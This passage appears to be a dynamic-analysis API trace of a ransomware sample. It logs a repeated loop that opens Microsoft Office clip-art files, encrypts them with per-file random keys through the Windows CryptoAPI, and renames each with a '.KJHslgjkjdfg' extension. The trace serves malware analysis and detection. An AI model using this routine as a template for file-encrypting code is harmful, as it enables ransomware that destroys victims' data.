lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.976] GetProcessHeap () returned 0x990000 [0198.977] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf.kjhslgjkjdfg")) returned 1 [0198.978] CloseHandle (hObject=0x130) returned 1 [0198.978] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26227e00, ftCreationTime.dwHighDateTime=0x1be5489, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26227e00, ftLastWriteTime.dwHighDateTime=0x1be5489, nFileSizeHigh=0x0, nFileSizeLow=0x2d6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215070.WMF", cAlternateFileName="")) returned 1 [0198.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.979] GetProcessHeap () returned 0x990000 [0198.979] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.979] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.979] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.979] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.984] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.984] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.984] GetProcessHeap () returned 0x990000 [0198.984] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.984] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.984] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.984] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.984] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.984] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.985] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.985] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.985] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.985] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.985] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.985] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.985] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2d6c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2d6c, lpOverlapped=0x0) returned 1 [0198.986] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d70, dwBufLen=0x2d70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d70) returned 1 [0198.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.986] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2d70, lpOverlapped=0x0) returned 1 [0198.987] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.987] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.987] SetEndOfFile (hFile=0x130) returned 1 [0198.990] GetProcessHeap () returned 0x990000 [0198.990] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.990] GetProcessHeap () returned 0x990000 [0198.990] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.990] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf.kjhslgjkjdfg")) returned 1 [0198.992] CloseHandle (hObject=0x130) returned 1 [0198.992] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2209e400, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2209e400, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1f50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215076.WMF", cAlternateFileName="")) returned 1 [0198.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.993] GetProcessHeap () returned 0x990000 [0198.993] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.993] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.993] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.993] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.993] GetProcessHeap () returned 0x990000 [0198.993] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.993] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.993] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.993] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.995] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.995] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.995] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.995] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.995] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.995] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.996] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.996] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f50, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f50, lpOverlapped=0x0) returned 1 [0198.997] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f50, dwBufLen=0x1f50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f50) returned 1 [0198.997] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.997] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f50, lpOverlapped=0x0) returned 1 [0198.997] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.997] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.997] SetEndOfFile (hFile=0x130) returned 1 [0198.999] GetProcessHeap () returned 0x990000 [0198.999] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.999] GetProcessHeap () returned 0x990000 [0198.999] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf.kjhslgjkjdfg")) returned 1 [0199.001] CloseHandle (hObject=0x130) returned 1 [0199.001] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215210.WMF", cAlternateFileName="")) returned 1 [0199.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.002] GetProcessHeap () returned 0x990000 [0199.002] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.002] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.002] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.002] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0199.005] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.005] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.005] GetProcessHeap () returned 0x990000 [0199.005] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.005] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.005] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.005] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.005] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.005] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.006] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.006] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.006] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.006] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.006] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.006] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.006] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x81ce, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x81ce, lpOverlapped=0x0) returned 1 [0199.007] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x81d0, dwBufLen=0x81d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x81d0) returned 1 [0199.008] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.008] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x81d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x81d0, lpOverlapped=0x0) returned 1 [0199.008] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.008] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x82a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.008] SetEndOfFile (hFile=0x130) returned 1 [0199.011] GetProcessHeap () returned 0x990000 [0199.011] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.011] GetProcessHeap () returned 0x990000 [0199.011] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf.kjhslgjkjdfg")) returned 1 [0199.013] CloseHandle (hObject=0x130) returned 1 [0199.013] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852fb100, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852fb100, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x244a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215709.WMF", cAlternateFileName="")) returned 1 [0199.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.015] GetProcessHeap () returned 0x990000 [0199.015] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.015] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.016] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0199.018] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.018] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.018] GetProcessHeap () returned 0x990000 [0199.018] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.018] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.018] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.018] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.018] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.019] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.019] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.019] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.019] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.019] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.019] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x244a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x244a, lpOverlapped=0x0) returned 1 [0199.020] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2450, dwBufLen=0x2450 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2450) returned 1 [0199.020] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.020] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2450, lpOverlapped=0x0) returned 1 [0199.021] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.021] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.021] SetEndOfFile (hFile=0x130) returned 1 [0199.024] GetProcessHeap () returned 0x990000 [0199.024] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.024] GetProcessHeap () returned 0x990000 [0199.024] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf.kjhslgjkjdfg")) returned 1 [0199.025] CloseHandle (hObject=0x130) returned 1 [0199.026] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87920b00, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87920b00, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x45a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215710.WMF", cAlternateFileName="")) returned 1 [0199.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.027] GetProcessHeap () returned 0x990000 [0199.027] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.027] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.027] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, 